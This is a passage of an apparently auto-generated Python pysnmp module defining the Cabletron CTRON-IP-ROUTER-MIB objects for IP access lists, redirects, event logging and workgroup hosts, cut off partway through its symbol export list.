nw_ip_acl_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2))
if mibBuilder.loadTexts:
nwIpAclTable.setStatus('mandatory')
nw_ip_acl_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpAclIdentifier'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpAclSequence'))
if mibBuilder.loadTexts:
nwIpAclEntry.setStatus('mandatory')
nw_ip_acl_identifier = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpAclIdentifier.setStatus('mandatory')
nw_ip_acl_sequence = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 2), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpAclSequence.setStatus('mandatory')
nw_ip_acl_permission = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('other', 1), ('invalid', 2), ('permit', 3), ('deny', 4), ('permit-bidirectional', 5), ('deny-bidirectional', 6))).clone('permit')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAclPermission.setStatus('mandatory')
nw_ip_acl_matches = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 4), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpAclMatches.setStatus('mandatory')
nw_ip_acl_dest_address = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 5), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAclDestAddress.setStatus('mandatory')
nw_ip_acl_dest_mask = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 6), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAclDestMask.setStatus('mandatory')
nw_ip_acl_src_address = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 7), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAclSrcAddress.setStatus('mandatory')
nw_ip_acl_src_mask = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 8), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAclSrcMask.setStatus('mandatory')
nw_ip_acl_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 9), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('other', 1), ('all', 2), ('icmp', 3), ('udp', 4), ('tcp', 5))).clone('all')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAclProtocol.setStatus('mandatory')
nw_ip_acl_port_number = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 7, 2, 1, 10), integer32()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpAclPortNumber.setStatus('mandatory')
nw_ip_redirect_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1))
if mibBuilder.loadTexts:
nwIpRedirectTable.setStatus('mandatory')
nw_ip_redirect_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpRedirectPort'))
if mibBuilder.loadTexts:
nwIpRedirectEntry.setStatus('mandatory')
nw_ip_redirect_port = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRedirectPort.setStatus('mandatory')
nw_ip_redirect_address = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 2), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRedirectAddress.setStatus('mandatory')
nw_ip_redirect_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('forward', 1), ('delete', 2))).clone('forward')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpRedirectType.setStatus('mandatory')
nw_ip_redirect_count = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 9, 1, 1, 1, 4), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpRedirectCount.setStatus('mandatory')
nw_ip_event_admin_status = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('disabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpEventAdminStatus.setStatus('mandatory')
nw_ip_event_max_entries = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1, 2), integer32().clone(100)).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpEventMaxEntries.setStatus('mandatory')
nw_ip_event_trace_all = mib_scalar((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpEventTraceAll.setStatus('mandatory')
nw_ip_event_filter_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1))
if mibBuilder.loadTexts:
nwIpEventFilterTable.setStatus('mandatory')
nw_ip_event_filter_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpEventFltrProtocol'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpEventFltrIfNum'))
if mibBuilder.loadTexts:
nwIpEventFilterEntry.setStatus('mandatory')
nw_ip_event_fltr_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventFltrProtocol.setStatus('mandatory')
nw_ip_event_fltr_if_num = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 2), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventFltrIfNum.setStatus('mandatory')
nw_ip_event_fltr_control = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('delete', 2), ('add', 3))).clone('add')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpEventFltrControl.setStatus('mandatory')
nw_ip_event_fltr_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 4, 8, 16, 32, 64))).clone(namedValues=named_values(('misc', 1), ('timer', 2), ('rcv', 4), ('xmit', 8), ('event', 16), ('diags', 32), ('error', 64))).clone('error')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpEventFltrType.setStatus('mandatory')
nw_ip_event_fltr_severity = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('highest', 1), ('highmed', 2), ('highlow', 3))).clone('highest')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpEventFltrSeverity.setStatus('mandatory')
nw_ip_event_fltr_action = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('log', 1), ('trap', 2), ('log-trap', 3))).clone('log')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpEventFltrAction.setStatus('mandatory')
nw_ip_event_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1))
if mibBuilder.loadTexts:
nwIpEventTable.setStatus('mandatory')
nw_ip_event_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpEventNumber'))
if mibBuilder.loadTexts:
nwIpEventEntry.setStatus('mandatory')
nw_ip_event_number = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventNumber.setStatus('mandatory')
nw_ip_event_time = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 2), time_ticks()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventTime.setStatus('mandatory')
nw_ip_event_type = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 4, 8, 16, 32, 64))).clone(namedValues=named_values(('misc', 1), ('timer', 2), ('rcv', 4), ('xmit', 8), ('event', 16), ('diags', 32), ('error', 64)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventType.setStatus('mandatory')
nw_ip_event_severity = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('highest', 1), ('highmed', 2), ('highlow', 3)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventSeverity.setStatus('mandatory')
nw_ip_event_protocol = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 5), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventProtocol.setStatus('mandatory')
nw_ip_event_if_num = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 6), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventIfNum.setStatus('mandatory')
nw_ip_event_text_string = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 7), octet_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpEventTextString.setStatus('mandatory')
nw_ip_wg_def_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1))
if mibBuilder.loadTexts:
nwIpWgDefTable.setStatus('mandatory')
nw_ip_wg_def_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgDefIdentifier'))
if mibBuilder.loadTexts:
nwIpWgDefEntry.setStatus('mandatory')
nw_ip_wg_def_identifier = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgDefIdentifier.setStatus('mandatory')
nw_ip_wg_def_host_address = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 2), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgDefHostAddress.setStatus('mandatory')
nw_ip_wg_def_subnet_mask = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 3), ip_address()).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgDefSubnetMask.setStatus('mandatory')
nw_ip_wg_def_security = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('none', 1), ('low', 2), ('medium', 3), ('high', 4))).clone('low')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgDefSecurity.setStatus('mandatory')
nw_ip_wg_def_fast_path = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('other', 1), ('disabled', 2), ('enabled', 3))).clone('enabled')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgDefFastPath.setStatus('mandatory')
nw_ip_wg_def_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('active', 1), ('notInService', 2), ('notReady', 3), ('createAndGo', 4), ('createAndWait', 5), ('destroy', 6))).clone('notReady')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgDefRowStatus.setStatus('mandatory')
nw_ip_wg_def_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('ok', 1), ('disabled', 2), ('subnetConflict', 3), ('internalError', 4)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgDefOperStatus.setStatus('mandatory')
nw_ip_wg_def_num_active_intf = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 8), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgDefNumActiveIntf.setStatus('mandatory')
nw_ip_wg_def_num_total_intf = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 9), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgDefNumTotalIntf.setStatus('mandatory')
nw_ip_wg_if_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2))
if mibBuilder.loadTexts:
nwIpWgIfTable.setStatus('mandatory')
nw_ip_wg_if_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgIfDefIdent'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgIfIfIndex'))
if mibBuilder.loadTexts:
nwIpWgIfEntry.setStatus('mandatory')
nw_ip_wg_if_def_ident = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 1), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgIfDefIdent.setStatus('mandatory')
nw_ip_wg_if_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 2), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgIfIfIndex.setStatus('mandatory')
nw_ip_wg_if_num_active_hosts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 3), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgIfNumActiveHosts.setStatus('mandatory')
nw_ip_wg_if_num_known_hosts = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 4), counter32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgIfNumKnownHosts.setStatus('mandatory')
nw_ip_wg_if_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('active', 1), ('notInService', 2), ('notReady', 3), ('createAndGo', 4), ('createAndWait', 5), ('destroy', 6))).clone('notInService')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgIfRowStatus.setStatus('mandatory')
nw_ip_wg_if_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=named_values(('ok', 1), ('disabled', 2), ('workgroupInvalid', 3), ('addressConflict', 4), ('resetRequired', 5), ('linkDown', 6), ('routingDown', 7), ('internalError', 8)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgIfOperStatus.setStatus('mandatory')
nw_ip_wg_rng_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3))
if mibBuilder.loadTexts:
nwIpWgRngTable.setStatus('mandatory')
nw_ip_wg_rng_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgRngBegHostAddr'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgRngEndHostAddr'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgRngIfIndex'))
if mibBuilder.loadTexts:
nwIpWgRngEntry.setStatus('mandatory')
nw_ip_wg_rng_beg_host_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgRngBegHostAddr.setStatus('mandatory')
nw_ip_wg_rng_end_host_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 2), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgRngEndHostAddr.setStatus('mandatory')
nw_ip_wg_rng_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 3), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgRngIfIndex.setStatus('mandatory')
nw_ip_wg_rng_phys_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 4), octet_string().clone(hexValue='000000000000')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgRngPhysAddr.setStatus('mandatory')
nw_ip_wg_rng_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('active', 1), ('notInService', 2), ('notReady', 3), ('createAndGo', 4), ('createAndWait', 5), ('destroy', 6))).clone('notInService')).setMaxAccess('readwrite')
if mibBuilder.loadTexts:
nwIpWgRngRowStatus.setStatus('mandatory')
nw_ip_wg_rng_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 6), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6))).clone(namedValues=named_values(('ok', 1), ('disabled', 2), ('workgroupInvalid', 3), ('interfaceInvalid', 4), ('physAddrRequired', 5), ('internalError', 6)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgRngOperStatus.setStatus('mandatory')
nw_ip_wg_host_table = mib_table((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4))
if mibBuilder.loadTexts:
nwIpWgHostTable.setStatus('mandatory')
nw_ip_wg_host_entry = mib_table_row((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1)).setIndexNames((0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgHostHostAddr'), (0, 'CTRON-IP-ROUTER-MIB', 'nwIpWgHostIfIndex'))
if mibBuilder.loadTexts:
nwIpWgHostEntry.setStatus('mandatory')
nw_ip_wg_host_host_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 1), ip_address()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgHostHostAddr.setStatus('mandatory')
nw_ip_wg_host_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 2), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgHostIfIndex.setStatus('mandatory')
nw_ip_wg_host_def_ident = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 3), integer32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgHostDefIdent.setStatus('mandatory')
nw_ip_wg_host_phys_addr = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 4), octet_string()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgHostPhysAddr.setStatus('mandatory')
nw_ip_wg_host_status = mib_table_column((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9))).clone(namedValues=named_values(('other', 1), ('unknown', 2), ('valid', 3), ('invalid-multiple', 4), ('invalid-physaddr', 5), ('invalid-range', 6), ('invalid-interface', 7), ('invalid-workgroup', 8), ('invalid-expired', 9)))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
nwIpWgHostStatus.setStatus('mandatory')
mibBuilder.exportSymbols('CTRON-IP-ROUTER-MIB', nwIpRipIfCtrDiscardBytes=nwIpRipIfCtrDiscardBytes, nwIpOspfCounters=nwIpOspfCounters, nwIpRipIfFloodDelay=nwIpRipIfFloodDelay, nwIpOspfCtrInBytes=nwIpOspfCtrInBytes, nwIpFwdIfCtrInPkts=nwIpFwdIfCtrInPkts, nwIpEventAdminStatus=nwIpEventAdminStatus, nwIpRipRtFlags=nwIpRipRtFlags, nwIpWorkGroup=nwIpWorkGroup, nwIpHostCtlAdminStatus=nwIpHostCtlAdminStatus, nwIpOspfCtrOutPkts=nwIpOspfCtrOutPkts, nwIpRipIfOperStatus=nwIpRipIfOperStatus, nwIpFwdIfCtrTable=nwIpFwdIfCtrTable, nwIpEventProtocol=nwIpEventProtocol, nwIpRipRouteTable=nwIpRipRouteTable, nwIpComponents=nwIpComponents, nwIpRipIfAclStatus=nwIpRipIfAclStatus, nwIpAclProtocol=nwIpAclProtocol, nwIpWgRngIfIndex=nwIpWgRngIfIndex, nwIpWgIfRowStatus=nwIpWgIfRowStatus, nwIpAddrIfAddress=nwIpAddrIfAddress, nwIpEventLogTable=nwIpEventLogTable, nwIpHostsToMedia=nwIpHostsToMedia, nwIpAclEntry=nwIpAclEntry, nwIpFwdCtrHostOutBytes=nwIpFwdCtrHostOutBytes, nwIpFwdIfAclStatus=nwIpFwdIfAclStatus, nwIpOspfOperStatus=nwIpOspfOperStatus, nwIpOspfIfSnooping=nwIpOspfIfSnooping, nwIpHostCtlCacheSize=nwIpHostCtlCacheSize, nwIpEventTime=nwIpEventTime, nwIpAclDestMask=nwIpAclDestMask, nwIpRipAgeOut=nwIpRipAgeOut, nwIpWgHostEntry=nwIpWgHostEntry, nwIpFwdCounters=nwIpFwdCounters, nwIpRipIfRequestDelay=nwIpRipIfRequestDelay, nwIpRipIfCounters=nwIpRipIfCounters, nwIpWgDefNumTotalIntf=nwIpWgDefNumTotalIntf, nwIpWgRngTable=nwIpWgRngTable, nwIpFwdIfCtrEntry=nwIpFwdIfCtrEntry, nwIpFwdIfCtrOutPkts=nwIpFwdIfCtrOutPkts, nwIpWgDefSubnetMask=nwIpWgDefSubnetMask, nwIpOspfOperationalTime=nwIpOspfOperationalTime, nwIpEventFilterTable=nwIpEventFilterTable, nwIpRipIfCtrInBytes=nwIpRipIfCtrInBytes, nwIpRipOperationalTime=nwIpRipOperationalTime, nwIpSysConfig=nwIpSysConfig, nwIpOspfIfAdminStatus=nwIpOspfIfAdminStatus, nwIpFwdCtrFwdPkts=nwIpFwdCtrFwdPkts, nwIpFwdCtrFwdBytes=nwIpFwdCtrFwdBytes, nwIpRipRoutePriority=nwIpRipRoutePriority, nwIpOspfIfAclIdentifier=nwIpOspfIfAclIdentifier, nwIpSystem=nwIpSystem, nwIpFwdCtrDiscardBytes=nwIpFwdCtrDiscardBytes, nwIpFwdCtrFilteredPkts=nwIpFwdCtrFilteredPkts, nwIpRipDatabase=nwIpRipDatabase, nwIpStaticRoutePriority=nwIpStaticRoutePriority, nwIpOspfFibControl=nwIpOspfFibControl, nwIpOSPFRoutePriority=nwIpOSPFRoutePriority, nwIpHostMapPhysAddr=nwIpHostMapPhysAddr, nwIpRedirectorInterface=nwIpRedirectorInterface, nwIpOspfFilters=nwIpOspfFilters, nwIpEventEntry=nwIpEventEntry, nwIpRipCtrOperationalTime=nwIpRipCtrOperationalTime, nwIpRipCtrOutBytes=nwIpRipCtrOutBytes, nwIpOspfCtrAdminStatus=nwIpOspfCtrAdminStatus, nwIpRipRtType=nwIpRipRtType, nwIpRipCtrOutPkts=nwIpRipCtrOutPkts, nwIpEventType=nwIpEventType, nwIpRipIfCtrOutPkts=nwIpRipIfCtrOutPkts, nwIpAclDestAddress=nwIpAclDestAddress, nwIpRipStackSize=nwIpRipStackSize, nwIpRipIfHelloTimer=nwIpRipIfHelloTimer, nwIpRouter=nwIpRouter, nwIpSysAdminStatus=nwIpSysAdminStatus, nwIpRedirectPort=nwIpRedirectPort, nwIpWgDefSecurity=nwIpWgDefSecurity, nwIpRipRtHops=nwIpRipRtHops, nwIpFwdIfCtrAddrErrPkts=nwIpFwdIfCtrAddrErrPkts, nwIpFwdIfCacheHits=nwIpFwdIfCacheHits, nwIpAclPortNumber=nwIpAclPortNumber, nwIpWgHostStatus=nwIpWgHostStatus, nwIpHostMapCircuitID=nwIpHostMapCircuitID, nwIpRipCtrInBytes=nwIpRipCtrInBytes, nwIpWgRngEndHostAddr=nwIpWgRngEndHostAddr, nwIpEventTraceAll=nwIpEventTraceAll, nwIpWgDefNumActiveIntf=nwIpWgDefNumActiveIntf, nwIpRedirectorSystem=nwIpRedirectorSystem, nwIpForwarding=nwIpForwarding, nwIpOspfAdminStatus=nwIpOspfAdminStatus, nwIpWgHostIfIndex=nwIpWgHostIfIndex, nwIpWgIfIfIndex=nwIpWgIfIfIndex, nwIpRipInterfaces=nwIpRipInterfaces, nwIpFwdIfCtrHostInBytes=nwIpFwdIfCtrHostInBytes, nwIpLinkState=nwIpLinkState, nwIpFwdIfCtrOperationalTime=nwIpFwdIfCtrOperationalTime, nwIpFwdCtrHostInBytes=nwIpFwdCtrHostInBytes, nwIpWgDefOperStatus=nwIpWgDefOperStatus, nwIpFwdIfConfig=nwIpFwdIfConfig, nwIpFwdCtrReset=nwIpFwdCtrReset, nwIpRipIfType=nwIpRipIfType, nwIpFwdCtrHostInPkts=nwIpFwdCtrHostInPkts, nwIpFwdIfCtrHostOutBytes=nwIpFwdIfCtrHostOutBytes, nwIpOspfIfCtrOperationalTime=nwIpOspfIfCtrOperationalTime, nwIpEventFltrIfNum=nwIpEventFltrIfNum, nwIpFwdIfAdminStatus=nwIpFwdIfAdminStatus, nwIpMibRevText=nwIpMibRevText, nwIpWgIfNumKnownHosts=nwIpWgIfNumKnownHosts, nwIpHostCtlIfIndex=nwIpHostCtlIfIndex, nwIpWgRngEntry=nwIpWgRngEntry, nwIpWgRngBegHostAddr=nwIpWgRngBegHostAddr, nwIpRipIfAdvertisement=nwIpRipIfAdvertisement, nwIpOspfSystem=nwIpOspfSystem, nwIpOspfBgp4Table=nwIpOspfBgp4Table, nwIpRedirectType=nwIpRedirectType, nwIpHostCtlEntry=nwIpHostCtlEntry, nwIpHostCtlNumStatics=nwIpHostCtlNumStatics, 